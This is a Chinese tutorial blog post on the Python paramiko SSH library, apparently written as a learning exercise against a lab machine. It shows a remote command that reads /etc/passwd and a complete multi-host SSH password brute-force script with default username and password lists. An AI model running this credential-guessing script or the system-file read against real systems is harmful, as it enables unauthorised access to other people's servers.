python之paramiko模块

本文作者:hell0_w

砸个广告:各位在网络安全方面有新创作的小伙伴,快快将你们的心得砸过来吧~

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式喔~

这两天在学习python,在学习的过程中,

顺便记录一下,以便加深印象。

01

安装

pip install paramiko

easy_install paramiko

导入模块没问题,安装成功

02

简单的ssh示例

使用用户名密码认证的方式,调用exec_command()方法执行系统命令。

#coding:utf-8

import paramiko

host = "192.168.112.129"

port = 22

username = "msfadmin"

password = "msfadmin"

ssh = paramiko.SSHClient() #创建ssh客户端对象

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #允许连接不在know_hosts文件中的主机

ssh.connect(host,port,username,password)

stdin,stdout,stderr = ssh.exec_command('tail -5 /etc/passwd')

print stdout.read()

ssh.close()

运行结果:

03

paramkio核心组件

paramiko包含两个核心组件,一个是SSHClient类,还有一个就是FTPClient类了。

SSHClient是SSH服务会话的高级表示。常用方法有:

(1)connect方法

方法定义:

connect(self,hostname,port=22,username=None,password=None,pkey=None,key_filename=None,timeout=None,allow_agent=True,look_for_keys=True,compress=False)

pkey参数表示私钥方式用于身份验证

allow_agent设置为False时禁用连接到ssh代理

look_for_keys设置为False时禁用在~/.ssh/中搜索私钥文件。

(2)exec_command方法

远程命令执行方法。

(3)load_system_host_keys方法

加载本地公钥校验文件,默认路径为~/.ssh/known_hosts,非默认路径需要手工指定。

(4)set_missing_host_key_policy方法

设置连接的远程主机没有本地主机秘钥或者HostKeys对象时的策略,即允许连接不在know_hosts文件中的主机。

支持三种设置

AutoAddPolicy:自动添加主机名和秘钥到本地并保存,不依赖load_system_host_keys()的配置(上边的脚本使用的就是这种方式);

RejectPolicy:自动拒绝未知的主机名和秘钥,依赖load_system_host_keys();

WarningPolicy:类似于AutoAddPolicy,但是对未知的主机会有警告。

04

破解ssh口令的脚本

(脚本文档点击阅读原文获取,提取码:xza4)

#coding:utf-8

import paramiko

import threading

def ssh_connect(host,username,password):

try:

ssh = paramiko.SSHClient() #创建ssh客户端对象

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #允许连接不在know_hosts文件中的主机

ssh.connect(hostname=host,username=username,password=password,timeout=0.5)

ssh.close()

print "[+]successfully! username is " + username

print "[+]successfully! password is " + password

except:

print "[-]failed"

def ip():

ip_list = []

ip = "192.168.112."

for i in xrange(128,130):

ip += str(i)

ip_list.append(ip)

ip = "192.168.112."

return ip_list

def payloads_list():

ip_list = ip()

username_list = ['root','admin','msfadmin','anonymous','ftpuser']

password_list = ['password','123456','msfadmin']

payload = []

payloads = []

for a in ip_list:

for b in username_list:

for c in password_list:

payload.append(a)

payload.append(b)

payload.append(c) #把所需参数加入payload中

for i in range(0,len(payload),3):

payloads.append(payload[i:i+3]) #将payload切割,生成一一对应的参数放入新的列表中

return payloads

def attack():

payloads = payloads_list()

print "start attack"

for i in range(len(payloads)):

ssh_connect(payloads[i][0],payloads[i][1],payloads[i][2])

if __name__ == '__main__':

attack()

运行结果截图(部分)

跑的速度有点慢,本来想着用多线程,对多线程的使用不是很懂,在使用的过程中出现了问题,思来想去也不知道为啥(我菜鸡),代码如下:

运行结果:

若有知道的大佬还望不吝赐教。

-END-

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-05-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

3 条评论
登录 后参与评论

相关文章

来自专栏梧雨北辰的开发录

Swift开发: 常见问题汇总

1、Unknown class xxClass in Interface Builder file. 这个问题出现在使用Xib时设置自定义类名的时候。在参考OC...

2748
来自专栏自动化测试实战

接口测试框架——第四篇

3515
来自专栏FreeBuf

使用fuzzDB进行web安全测试

写在前面: fuzzDB看字面意思就知道,他是一个用于fuzz网站的库。类似于wwwscan之类工具的字典,但是他的过人之处是他是“开源”的,会有很多大神帮你维...

2388
来自专栏机器学习实践二三事

Python入门-----编辑器

编辑 编写和运行Python程序,需要编辑器,主要分为两种: (1)文本编辑器 目前我在用的是Sublime Text,可以安装很多插件使用很方便,推荐...

1675
来自专栏老司机的简书

XCode打framework包、cocoapods库制作及Pods库的二进制切换

近来公司的公共库里有点小问题,但是公共库打成了framework,即使手上有源码也很难调试。网上百度了很多方法,有临时方法,也有比较好的方案,写一篇博客记录下来...

822
来自专栏电光石火

PHP error_reporting() 错误控制函数功能详解

定义和用法: error_reporting() 设置 PHP 的报错级别并返回当前级别。 函数语法: error_reporting(report_le...

1777
来自专栏从流域到海域

《笨办法学Python》 第0课手记

本博客是学习Python的记录手册,本人计算机在读,有C语言的基础,运行环境为 windows 10家庭中文版(64位),使用Windows PowerShel...

1885
来自专栏从零开始学自动化测试

Selenium2+python自动化48-登录方法(参数化)

前言 登录这个场景在写用例的时候经常会有,我们可以把登录封装成一个方法,然后把账号和密码参数化,这样以后用的登录的时候,只需调用这个方法就行了 一、登录方法 1...

2787
来自专栏Jerry的SAP技术分享

如何修改Fiori Launchpad里Tile计数调用的时间间隔

Fiori launchpad里的Tile上有一个数字,例如下图My Leads的例子:每隔指定的时间间隔,会向后台发起一次数据请求,读取当前Lead的个数。

1827
来自专栏WindCoder

wordpress页面异常导致本地路径泄漏

之前用360检测到如下错误,类似的出现过好几次了,暂且记录下来,路径用的其他地方的,但问题及解决办法是一样的。

591

扫码关注云+社区